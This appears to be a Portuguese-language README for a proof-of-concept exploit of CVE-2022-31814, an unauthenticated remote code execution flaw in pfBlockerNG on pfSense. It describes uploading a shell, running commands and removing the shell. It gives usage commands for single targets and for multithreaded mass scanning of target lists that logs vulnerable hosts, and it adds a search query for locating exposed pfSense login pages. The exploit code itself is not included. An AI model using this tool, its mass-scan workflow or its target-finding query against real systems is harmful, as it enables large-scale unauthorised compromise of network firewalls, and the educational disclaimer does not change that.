
pfBlockerNG <= 2.1.4_26 RCE não autenticado (CVE-2022-31814)
Este script é um exploit de prova de conceito para pfBlockerNG <= 2.1.4_26 que permite execução remota de código. Ele aceita uma URL de destino única ou uma lista de URLs, faz o upload de um shell, executa um comando e depois remove o shell.
Este script requer Python 3.x e os módulos requests e concurrent.futures instalados. Você pode instalar esses módulos executando:
pip3 install requests concurrent.futures
ou
pip3 install -r requirements.txt
usage: exploit.py [-h] [-c COMMAND] [-l LIST] [-i IP] [-t THREADS] [-o OUTPUT]
pfBlockerNG <= 2.1.4_26 Unauth RCE
options:
-h, --help show this help message and exit
-c COMMAND, --command COMMAND
Console Command ('id')
-l LIST, --list LIST List of targets (list.txt)
-i IP, --ip IP Base target uri (ex. http://target-uri/)
-t THREADS, --threads THREADS
Number of threads for mass scan
-o OUTPUT, --output OUTPUT
Output file (vuln.txt)
Para explorar um único alvo, use a opção -i ou --ip e especifique a URL base ou endereço IP:
python3 exploit.py -i http://target-uri/ -c 'id'
Para escanear uma lista de alvos, use a opção -l ou --list e especifique o caminho para a lista:
python3 exploit.py -l list.txt -c 'id' -t 50
A opção -t ou --threads pode ser usada para especificar o número de threads a serem usados na varredura.
Se a opção -o ou --output for especificada, a lista de alvos vulneráveis será gravada em um arquivo:
python3 exploit.py -l list.txt -c 'id' -o vuln.txt
http.title:"pfSense - Login" "Server: nginx" "Set-Cookie: PHPSESSID="
Este script é apenas para fins educacionais. Use por sua conta e risco.